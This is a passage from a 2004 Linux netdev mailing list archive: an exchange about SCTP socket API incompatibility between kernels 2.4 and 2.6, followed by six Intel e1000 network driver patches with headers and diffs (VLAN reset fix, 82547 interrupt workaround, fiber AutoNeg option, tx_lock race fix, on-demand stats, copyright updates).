version(lksctp-tools-2_5_67-0_6_9) may work with 2.4. > > Am I missing something -- like perhaps the existence of a patch to > update the 2.4 kernel -- or is the SCTP implementation in 2.4 no longer > being maintained, and no longer compatible with 2.6 and its userspace? 2.4 lksctp implementation is a backport from 2.6(the backport originally was done from 2.5.69). The backport process should have continued and kept up with the 2.6 changes. But due to resource problems, it is not happening. 2.6 lksctp is under active development and is compatible with the latest SCTP sockets api draft(ver 07). Are you interested in a 2.4 version of lksctp? Thanks Sridhar From davem@redhat.com Mon Feb 2 11:21:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 11:21:58 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12JLt7J031587 for ; Mon, 2 Feb 2004 11:21:55 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i12JLqb24766; Mon, 2 Feb 2004 14:21:52 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i12JLqa29048; Mon, 2 Feb 2004 14:21:52 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i12JLMkC026813; Mon, 2 Feb 2004 14:21:23 -0500 Date: Mon, 2 Feb 2004 11:21:50 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: dwmw2@infradead.org, netdev@oss.sgi.com, marcelo.tosatti@cyclades.com, lksctp-developers@lists.sourceforge.net Subject: Re: SCTP sockopt discrepancy between 2.4 and 2.6. Message-Id: <20040202112150.3c8d5218.davem@redhat.com> In-Reply-To: References: <1075747382.786.366.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2952 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 273 Lines: 8 I appreciate your status report Sridhar, thank you. But the fact of the matter is that 2.4.x and 2.6.x cannot export two totally incompatible user visible APIs for the SCTP socket layer. This is something which must be fixed, not something we would like to be fixed :-) From scott.feldman@intel.com Mon Feb 2 13:25:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 13:25:49 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12LPj7J007186 for ; Mon, 2 Feb 2004 13:25:45 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i12LRIq5026326; Mon, 2 Feb 2004 21:27:18 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i12LRPJw009606; Mon, 2 Feb 2004 21:27:25 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020213253918423 ; Mon, 02 Feb 2004 13:25:39 -0800 Date: Mon, 2 Feb 2004 14:01:40 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 3/6] Serial-over-LAN (SoL) fix Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2955 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1113 Lines: 31 * Set VLAN filtering to IEEE 802.1Q after reset so we don't break Serial-over-LAN (SoL) connections that use VLANs. ----------------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-02 12:08:24.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-02 12:09:00.000000000 -0800 @@ -339,6 +339,10 @@ e1000_reset(struct e1000_adapter *adapte if(adapter->hw.mac_type >= e1000_82544) E1000_WRITE_REG(&adapter->hw, WUC, 0); e1000_init_hw(&adapter->hw); + + /* Enable h/w to recognize an 802.1Q VLAN Ethernet packet */ + E1000_WRITE_REG(&adapter->hw, VET, ETHERNET_IEEE_VLAN_TYPE); + e1000_reset_adaptive(&adapter->hw); e1000_phy_get_info(&adapter->hw, &adapter->phy_info); } @@ -2666,8 +2670,6 @@ e1000_vlan_rx_register(struct net_device if(grp) { /* enable VLAN tag insert/strip */ - E1000_WRITE_REG(&adapter->hw, VET, ETHERNET_IEEE_VLAN_TYPE); - ctrl = E1000_READ_REG(&adapter->hw, CTRL); ctrl |= E1000_CTRL_VME; E1000_WRITE_REG(&adapter->hw, CTRL, ctrl); From scott.feldman@intel.com Mon Feb 2 13:25:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 13:25:59 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12LPs7J007205 for ; Mon, 2 Feb 2004 13:25:55 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i12LNKC6025261; Mon, 2 Feb 2004 21:23:20 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i12LRXJw009703; Mon, 2 Feb 2004 21:27:33 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020213254707513 ; Mon, 02 Feb 2004 13:25:47 -0800 Date: Mon, 2 Feb 2004 14:01:49 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 4/6] 82547 interrupt assert/de-assert re-ordering Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2956 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1684 Lines: 44 * 82547 needs interrupt disable/enable to keep interrupt assertion state synced between 82547 and APIC. 82547 will re-order assert and de-assert messages if hub link bus is busy (heavy traffic). Disabling interrupt on device works around re- order issue. Note: this is a re-patch. We backed out the patch because of a report on a system with a 8086:1019 device would lock up with this patch. Turns out that system was a pre-production sample. ----------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-02 12:09:08.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-02 12:10:43.000000000 -0800 @@ -2119,10 +2119,26 @@ e1000_intr(int irq, void *data, struct p __netif_rx_schedule(netdev); } #else + /* Writing IMC and IMS is needed for 82547. + Due to Hub Link bus being occupied, an interrupt + de-assertion message is not able to be sent. + When an interrupt assertion message is generated later, + two messages are re-ordered and sent out. + That causes APIC to think 82547 is in de-assertion + state, while 82547 is in assertion state, resulting + in dead lock. Writing IMC forces 82547 into + de-assertion state. + */ + if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) + e1000_irq_disable(adapter); + for(i = 0; i < E1000_MAX_INTR; i++) if(!e1000_clean_rx_irq(adapter) & !e1000_clean_tx_irq(adapter)) break; + + if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) + e1000_irq_enable(adapter); #endif return IRQ_HANDLED; From scott.feldman@intel.com Mon Feb 2 13:26:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 13:26:16 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12LQA7J007333 for ; Mon, 2 Feb 2004 13:26:12 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i12LRhq5026586; Mon, 2 Feb 2004 21:27:43 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i12LRoJw009885; Mon, 2 Feb 2004 21:27:50 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020213260407537 ; Mon, 02 Feb 2004 13:26:04 -0800 Date: Mon, 2 Feb 2004 14:02:06 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 5/6] Allow 1000/Full setting for Autoneg param Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2958 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 877 Lines: 24 * Allow 1000/Full setting for AutoNeg param for Fiber connections. Jon D Mason [jonmason@us.ibm.com]. ------------ diff -Naurp netdev-2.6/drivers/net/e1000/e1000_param.c netdev-2.6/drivers/net/e1000.mod/e1000_param.c --- netdev-2.6/drivers/net/e1000/e1000_param.c 2004-02-02 12:10:53.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_param.c 2004-02-02 12:11:26.000000000 -0800 @@ -489,9 +489,9 @@ e1000_check_fiber_options(struct e1000_a printk(KERN_INFO "Duplex not valid for fiber adapters, " "parameter ignored\n"); } - if((AutoNeg[bd] != OPTION_UNSET)) { - printk(KERN_INFO "AutoNeg not valid for fiber adapters, " - "parameter ignored\n"); + if((AutoNeg[bd] != OPTION_UNSET) && (AutoNeg[bd] != 0x20)) { + printk(KERN_INFO "AutoNeg other than Full/1000 is " + "not valid for fiber adapters, parameter ignored\n"); } } From scott.feldman@intel.com Mon Feb 2 13:25:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 13:25:49 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12LPg7J007185 for ; Mon, 2 Feb 2004 13:25:45 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i12LN5C6025052; Mon, 2 Feb 2004 21:23:05 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i12LRGK0009501; Mon, 2 Feb 2004 21:27:17 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020213253107482 ; Mon, 02 Feb 2004 13:25:31 -0800 Date: Mon, 2 Feb 2004 14:01:32 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 2/6] tx_lock Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2954 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 2838 Lines: 92 * Fix race in Tx performance path with tx_lock. Between checking if we're out of resources and stopping the queue, we can get a hard interrupt which will clean up all Tx work, and wake the queue. Coming out of hard interrupt context, we stop the queue even though no work was queued, and all work completed has been cleaned up. Scenario requires ring to be completely filled, which is more likely to happen with TSO, since each TSO send consumes multiple ring entries. -------------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000.h netdev-2.6/drivers/net/e1000.mod/e1000.h --- netdev-2.6/drivers/net/e1000/e1000.h 2004-02-02 12:07:15.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000.h 2004-02-02 12:07:29.000000000 -0800 @@ -202,6 +202,7 @@ struct e1000_adapter { /* TX */ struct e1000_desc_ring tx_ring; + spinlock_t tx_lock; uint32_t txd_cmd; uint32_t tx_int_delay; uint32_t tx_abs_int_delay; diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-02 12:07:15.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-02 12:08:10.000000000 -0800 @@ -674,6 +674,7 @@ e1000_sw_init(struct e1000_adapter *adap atomic_set(&adapter->irq_sem, 1); spin_lock_init(&adapter->stats_lock); + spin_lock_init(&adapter->tx_lock); return 0; } @@ -1772,6 +1773,7 @@ e1000_xmit_frame(struct sk_buff *skb, st struct e1000_adapter *adapter = netdev->priv; unsigned int first; unsigned int tx_flags = 0; + unsigned long flags; int count; if(skb->len <= 0) { @@ -1779,10 +1781,13 @@ e1000_xmit_frame(struct sk_buff *skb, st return 0; } + spin_lock_irqsave(&adapter->tx_lock, flags); + if(adapter->hw.mac_type == e1000_82547) { if(e1000_82547_fifo_workaround(adapter, skb)) { netif_stop_queue(netdev); mod_timer(&adapter->tx_fifo_stall_timer, jiffies); + spin_unlock_irqrestore(&adapter->tx_lock, flags); return 1; } } @@ -1803,11 +1808,14 @@ e1000_xmit_frame(struct sk_buff *skb, st e1000_tx_queue(adapter, count, tx_flags); else { netif_stop_queue(netdev); + spin_unlock_irqrestore(&adapter->tx_lock, flags); return 1; } netdev->trans_start = jiffies; + spin_unlock_irqrestore(&adapter->tx_lock, flags); + return 0; } @@ -2160,6 +2168,8 @@ e1000_clean_tx_irq(struct e1000_adapter unsigned int i, eop; boolean_t cleaned = FALSE; + spin_lock(&adapter->tx_lock); + i = tx_ring->next_to_clean; eop = tx_ring->buffer_info[i].next_to_watch; eop_desc = E1000_TX_DESC(*tx_ring, eop); @@ -2204,6 +2214,8 @@ e1000_clean_tx_irq(struct e1000_adapter if(cleaned && netif_queue_stopped(netdev) && netif_carrier_ok(netdev)) netif_wake_queue(netdev); + spin_unlock(&adapter->tx_lock); + return cleaned; } From scott.feldman@intel.com Mon Feb 2 13:26:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 13:26:05 -0800 (PST) Received: from caduceus.jf.intel.com (fmr06.intel.com [134.134.136.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12LQ17J007261 for ; Mon, 2 Feb 2004 13:26:01 -0800 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by caduceus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i12LQxpG024211; Mon, 2 Feb 2004 21:26:59 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i12LQVMF032165; Mon, 2 Feb 2004 21:26:32 GMT Received: from [134.134.3.50] ([134.134.3.50]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020213252524915 ; Mon, 02 Feb 2004 13:25:25 -0800 Date: Mon, 2 Feb 2004 14:01:26 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 1/6] on-demand stats support Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2957 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 5620 Lines: 142 * Provide updated stats when requested via ->get_stats or ethtool. Previously, driver would only update stats every 2 seconds, which would cause some monitoring apps to show zero change from one second to the next. ---------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_ethtool.c netdev-2.6/drivers/net/e1000.mod/e1000_ethtool.c --- netdev-2.6/drivers/net/e1000/e1000_ethtool.c 2004-02-02 12:05:14.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_ethtool.c 2004-02-02 12:05:31.000000000 -0800 @@ -43,6 +43,7 @@ extern int e1000_setup_rx_resources(stru extern int e1000_setup_tx_resources(struct e1000_adapter *adapter); extern void e1000_free_rx_resources(struct e1000_adapter *adapter); extern void e1000_free_tx_resources(struct e1000_adapter *adapter); +extern void e1000_update_stats(struct e1000_adapter *adapter); struct e1000_stats { char stat_string[ETH_GSTRING_LEN]; @@ -1604,6 +1605,7 @@ err_geeprom_ioctl: } stats = { {ETHTOOL_GSTATS, E1000_STATS_LEN} }; int i; + e1000_update_stats(adapter); for(i = 0; i < E1000_STATS_LEN; i++) stats.data[i] = (e1000_gstrings_stats[i].sizeof_stat == sizeof(uint64_t)) ? diff -Naurp netdev-2.6/drivers/net/e1000/e1000.h netdev-2.6/drivers/net/e1000.mod/e1000.h --- netdev-2.6/drivers/net/e1000/e1000.h 2004-02-02 12:05:14.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000.h 2004-02-02 12:05:38.000000000 -0800 @@ -206,6 +206,9 @@ struct e1000_adapter { uint32_t tx_int_delay; uint32_t tx_abs_int_delay; uint32_t gotcl; + uint64_t gotcl_old; + uint64_t tpt_old; + uint64_t colc_old; uint32_t tx_fifo_head; uint32_t tx_head_addr; uint32_t tx_fifo_size; @@ -220,6 +223,7 @@ struct e1000_adapter { uint32_t rx_abs_int_delay; boolean_t rx_csum; uint32_t gorcl; + uint64_t gorcl_old; /* Interrupt Throttle Rate */ uint32_t itr; diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-02 12:05:14.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-02 12:06:46.000000000 -0800 @@ -119,6 +119,7 @@ int e1000_setup_tx_resources(struct e100 int e1000_setup_rx_resources(struct e1000_adapter *adapter); void e1000_free_tx_resources(struct e1000_adapter *adapter); void e1000_free_rx_resources(struct e1000_adapter *adapter); +void e1000_update_stats(struct e1000_adapter *adapter); /* Local Function Prototypes */ @@ -142,7 +143,6 @@ static int e1000_xmit_frame(struct sk_bu static struct net_device_stats * e1000_get_stats(struct net_device *netdev); static int e1000_change_mtu(struct net_device *netdev, int new_mtu); static int e1000_set_mac(struct net_device *netdev, void *p); -static void e1000_update_stats(struct e1000_adapter *adapter); static inline void e1000_irq_disable(struct e1000_adapter *adapter); static inline void e1000_irq_enable(struct e1000_adapter *adapter); static irqreturn_t e1000_intr(int irq, void *data, struct pt_regs *regs); @@ -1392,6 +1392,17 @@ e1000_watchdog(unsigned long data) } e1000_update_stats(adapter); + + adapter->hw.tx_packet_delta = adapter->stats.tpt - adapter->tpt_old; + adapter->tpt_old = adapter->stats.tpt; + adapter->hw.collision_delta = adapter->stats.colc - adapter->colc_old; + adapter->colc_old = adapter->stats.colc; + + adapter->gorcl = adapter->stats.gorcl - adapter->gorcl_old; + adapter->gorcl_old = adapter->stats.gorcl; + adapter->gotcl = adapter->stats.gotcl - adapter->gotcl_old; + adapter->gotcl_old = adapter->stats.gotcl; + e1000_update_adaptive(&adapter->hw); if(!netif_carrier_ok(netdev)) { @@ -1838,6 +1849,7 @@ e1000_get_stats(struct net_device *netde { struct e1000_adapter *adapter = netdev->priv; + e1000_update_stats(adapter); return &adapter->net_stats; } @@ -1896,7 +1908,7 @@ e1000_change_mtu(struct net_device *netd * @adapter: board private structure **/ -static void +void e1000_update_stats(struct e1000_adapter *adapter) { struct e1000_hw *hw = &adapter->hw; @@ -1914,8 +1926,7 @@ e1000_update_stats(struct e1000_adapter adapter->stats.crcerrs += E1000_READ_REG(hw, CRCERRS); adapter->stats.gprc += E1000_READ_REG(hw, GPRC); - adapter->gorcl = E1000_READ_REG(hw, GORCL); - adapter->stats.gorcl += adapter->gorcl; + adapter->stats.gorcl += E1000_READ_REG(hw, GORCL); adapter->stats.gorch += E1000_READ_REG(hw, GORCH); adapter->stats.bprc += E1000_READ_REG(hw, BPRC); adapter->stats.mprc += E1000_READ_REG(hw, MPRC); @@ -1927,8 +1938,6 @@ e1000_update_stats(struct e1000_adapter adapter->stats.prc1023 += E1000_READ_REG(hw, PRC1023); adapter->stats.prc1522 += E1000_READ_REG(hw, PRC1522); - spin_unlock_irqrestore(&adapter->stats_lock, flags); - /* the rest of the counters are only modified here */ adapter->stats.symerrs += E1000_READ_REG(hw, SYMERRS); @@ -1946,8 +1955,7 @@ e1000_update_stats(struct e1000_adapter adapter->stats.xofftxc += E1000_READ_REG(hw, XOFFTXC); adapter->stats.fcruc += E1000_READ_REG(hw, FCRUC); adapter->stats.gptc += E1000_READ_REG(hw, GPTC); - adapter->gotcl = E1000_READ_REG(hw, GOTCL); - adapter->stats.gotcl += adapter->gotcl; + adapter->stats.gotcl += E1000_READ_REG(hw, GOTCL); adapter->stats.gotch += E1000_READ_REG(hw, GOTCH); adapter->stats.rnbc += E1000_READ_REG(hw, RNBC); adapter->stats.ruc += E1000_READ_REG(hw, RUC); @@ -2029,6 +2037,8 @@ e1000_update_stats(struct e1000_adapter !e1000_read_phy_reg(hw, M88E1000_RX_ERR_CNTR, &phy_tmp)) adapter->phy_stats.receive_errors += phy_tmp; } + + spin_unlock_irqrestore(&adapter->stats_lock, flags); } /** From scott.feldman@intel.com Mon Feb 2 13:26:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 13:26:29 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12LQL7J007521 for ; Mon, 2 Feb 2004 13:26:21 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i12LRrq5026712; Mon, 2 Feb 2004 21:27:53 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i12LPMHu024855; Mon, 2 Feb 2004 21:25:58 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020213261414860 ; Mon, 02 Feb 2004 13:26:14 -0800 Date: Mon, 2 Feb 2004 14:02:15 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 6/6] Misc - copyright, changelog spelling Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2959 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 6712 Lines: 143 * Misc - copyright update, changelog, spelling fixes. -------------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_ethtool.c netdev-2.6/drivers/net/e1000.mod/e1000_ethtool.c --- netdev-2.6/drivers/net/e1000/e1000_ethtool.c 2004-02-02 12:11:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_ethtool.c 2004-02-02 12:11:52.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff -Naurp netdev-2.6/drivers/net/e1000/e1000.h netdev-2.6/drivers/net/e1000.mod/e1000.h --- netdev-2.6/drivers/net/e1000/e1000.h 2004-02-02 12:11:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000.h 2004-02-02 12:11:56.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff -Naurp netdev-2.6/drivers/net/e1000/e1000_hw.c netdev-2.6/drivers/net/e1000.mod/e1000_hw.c --- netdev-2.6/drivers/net/e1000/e1000_hw.c 2004-02-02 12:11:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_hw.c 2004-02-02 12:11:59.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff -Naurp netdev-2.6/drivers/net/e1000/e1000_hw.h netdev-2.6/drivers/net/e1000.mod/e1000_hw.h --- netdev-2.6/drivers/net/e1000/e1000_hw.h 2004-02-02 12:11:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_hw.h 2004-02-02 12:12:03.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-02 12:11:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-02 12:14:08.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -30,7 +30,12 @@ /* Change Log * - * 5.2.27 12/14/03 + * 5.2.30.1 1/29/03 + * o Set VLAN filtering to IEEE 802.1Q after reset so we don't break + * SoL connections that use VLANs. + * o Allow 1000/Full setting for AutoNeg param for Fiber connections + * Jon D Mason [jonmason@us.ibm.com]. + * o Race between Tx queue and Tx clean fixed with a spin lock. * o Added netpoll support. * o Fixed endianess bug causing ethtool loopback diags to fail on ppc. * o Use pdev->irq rather than netdev->irq in preparation for MSI support. @@ -63,8 +68,8 @@ char e1000_driver_name[] = "e1000"; char e1000_driver_string[] = "Intel(R) PRO/1000 Network Driver"; -char e1000_driver_version[] = "5.2.27-k1"; -char e1000_copyright[] = "Copyright (c) 1999-2003 Intel Corporation."; +char e1000_driver_version[] = 